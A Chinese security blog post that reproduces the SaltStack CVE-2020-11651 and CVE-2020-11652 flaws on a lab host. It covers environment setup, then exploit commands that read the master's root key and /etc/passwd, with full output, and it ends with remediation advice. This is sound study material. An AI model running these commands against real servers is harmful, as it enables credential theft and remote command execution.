天天看點

Saltstack CVE-2020-11651和CVE-2020-11652複現

Saltstack CVE-2020-11651和CVE-2020-11652複現

一、漏洞描述

SaltStack是基于Python開發的一套C/S架構配置管理工具,是一個伺服器基礎架構集中化管理平台,具備配置管理、遠端執行、監控等功能,基于Python語言實作,結合輕量級消息隊列(ZeroMQ)與Python第三方子產品(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)建構。

在CVE-2020-11651認證繞過漏洞中,攻擊者通過構造惡意請求,可以繞過Salt Master的驗證邏輯,調用相關未授權函數功能,進而可以造成遠端指令執行漏洞。在CVE-2020-11652目錄周遊漏洞中,攻擊者通過構造惡意請求,讀取伺服器上任意檔案。

二、影響版本&&安全版本

影響版本

SaltStack < 2019.2.4

SaltStack < 3000.2

安全版本

2019.2.4

3000.2

三、環境搭建

手動搭建環境

SaltStack Package Repo(http://mirrors.nju.edu.cn/saltstack/2018.3.html)

1、下載下傳檔案

wget -O - https://repo.saltstack.com/apt/ubuntu/16.04/amd64/2019.2/SALTSTACK-GPG-KEY.pub | sudo apt-key add -
           
Saltstack CVE-2020-11651和CVE-2020-11652複現

2、儲存檔案 /etc/apt/sources.list.d/saltstack.list

deb http://repo.saltstack.com/apt/ubuntu/16.04/amd64/2019.2 xenial main
           

3、運作

sudo apt-get update
           

4、安裝其他的依賴

sudo apt-get install salt-master
sudo apt-get install salt-minion
sudo apt-get install salt-ssh
sudo apt-get install salt-syndic
sudo apt-get install salt-cloud
sudo apt-get install salt-api
           

5、重新開機服務

sudo systemctl restart salt-minion
           

安裝成功

Saltstack CVE-2020-11651和CVE-2020-11652複現

docker鏡像方式:

docker pull vulfocus/saltstack-cve_2020_11651
           

拉取鏡像

Saltstack CVE-2020-11651和CVE-2020-11652複現

成功運作

Saltstack CVE-2020-11651和CVE-2020-11652複現

四、漏洞複現:

python3 exp.py -m 192.168.0.102
           

讀取:root_key

Saltstack CVE-2020-11651和CVE-2020-11652複現

執行指令成功

讀取/etc/passwd

python3 exp.py -m 192.168.0.102 -c master -r /etc/passwd
           
Saltstack CVE-2020-11651和CVE-2020-11652複現

docker裡面指令不是很全多次執行nc反彈不行(多次嘗試放棄了,上面的基本上可以讀取和相關操作)

Saltstack CVE-2020-11651和CVE-2020-11652複現

擷取root_key還有支援讀取/etc/passwd還是可以執行成功的

相關操作過程:

[email protected]:# python3 exp.py -m 192.168.0.102
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
  class HTTPHeaders(collections.MutableMapping):
[+] Checking salt-master (192.168.0.102:4506) status... 
[+] Read root_key... root key: 5a4RAt+lafu37VuU6eiT8Ygcegu9VErP7DQaJxb7JxCgW/50yvp9DgYKAG0HtyxXqzVwAMnoJAo=

[email protected]:# python3 exp.py -m 192.168.0.102 -c master -r /etc/passwd
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
  class HTTPHeaders(collections.MutableMapping):
[+] Checking salt-master (192.168.0.102:4506) status... 
[+] Read root_key... root key: 5a4RAt+lafu37VuU6eiT8Ygcegu9VErP7DQaJxb7JxCgW/50yvp9DgYKAG0HtyxXqzVwAMnoJAo=
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

Got response for attempting master shell: {'jid': '20200505175322193300', 'tag': 'salt/run/20200505175322193300'}. Looks promising!
           

四、修複方案

1. 将SaltStack更新至安全版本以上,更新前建議做好快照備份。

2. 設定SaltStack為自動更新,及時擷取相應更新檔。

3. 将Salt Master預設監聽端口(預設4505 和 4506)設定為禁止對公網開放,或僅對可信對象開放。

參考:

https://www.cnblogs.com/8ling/p/12823524.html

http://mirrors.nju.edu.cn/saltstack/2018.3.html

https://github.com/jasperla/CVE-2020-11651-poc

https://github.com/fofapro/vulfocus/tree/master/images

https://github.com/bravery9/SaltStack-Exp

免責聲明:本站提供安全工具、程式(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!

訂閱檢視更多複現文章、學習筆記

thelostworld

安全路上,與你并肩前行!!!!

Saltstack CVE-2020-11651和CVE-2020-11652複現

個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

個人簡書:https://www.jianshu.com/u/bf0e38a8d400

繼續閱讀